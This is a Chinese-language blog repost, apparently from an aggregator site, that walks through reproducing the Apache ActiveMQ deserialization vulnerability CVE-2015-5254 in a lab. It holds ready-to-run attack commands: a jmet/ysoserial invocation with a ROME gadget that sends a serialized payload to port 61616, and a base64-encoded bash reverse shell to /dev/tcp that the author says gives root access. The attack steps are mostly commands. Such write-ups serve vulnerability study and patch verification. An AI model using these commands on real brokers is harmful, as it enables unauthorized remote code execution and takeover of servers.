ActiveMQ反序列化漏洞(CVE-2015-5254)

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ActiveMQ反序列化漏洞(CVE-2015-5254)相关的知识,希望对你有一定的参考价值。

1.漏洞介绍:
Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务,集群,Spring Framework等。Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程***者可借助特制的序列化的Java消息服务(JMS)ObjectMessage对象利用该漏洞执行任意代码。

2.漏洞利用过程如下:

①构造可执行命令的序列化对象
②作为一个消息,发送到目标61616端口
③访问web管理页面,读取信息,触发漏洞

3.漏洞复现:
1.首先下载jmet的jar文件,并在同目录下创建一个external文件夹(否则可能会爆文件夹不存在的错误)。jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME。
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
技术图片
mkdir external
技术图片
2.执行命令
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME 靶机的ip 61616
技术图片
技术图片
3.它会给你的ID,访问http://你的ip:8161:8161/admin/queues.jsp
技术图片
技术图片
4.利用方式也很简单,我们只要将命令换成反弹shell语句再利用就行了。不过在这里我们需要一些小技巧来绕过Java的机制。
bash -i >& /dev/tcp/***机IP/8888 0>&1 bese64编码技术图片
把编码放进去。
bash -c echo,CmJhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xOTkuMTkzLzg4ODggMD4mMQ==|base64,-d|bash,-i
5.然后我们是使用同样的命令将payload发送到61616端口。
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c echo,CmJhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xOTkuMTkzLzg4ODggMD4mMQ==|base64,-d|bash,-i" -Yp ROME 靶机ip 61616
技术图片
6.然后我们查看这条消息,触发命令执行,这时我们在***机上监听端口,即可得到shell。技术图片
7.这就成功进来了,root权限!

以上是关于ActiveMQ反序列化漏洞(CVE-2015-5254)的主要内容,如果未能解决你的问题,请参考以下文章

ActiveMQ反序列化漏洞(CVE-2015-5254)复现

ActiveMQ反序列化漏洞(CVE-2015-5254)复现

漏洞复现 - ActiveMQ反序列化漏洞(CVE-2015-5254)

常见Java库漏洞汇总

如何查出漏洞weblogic java反序列化漏洞补丁存在绕过风险

【CVE-2016-4437】Shiro反序列化漏洞复现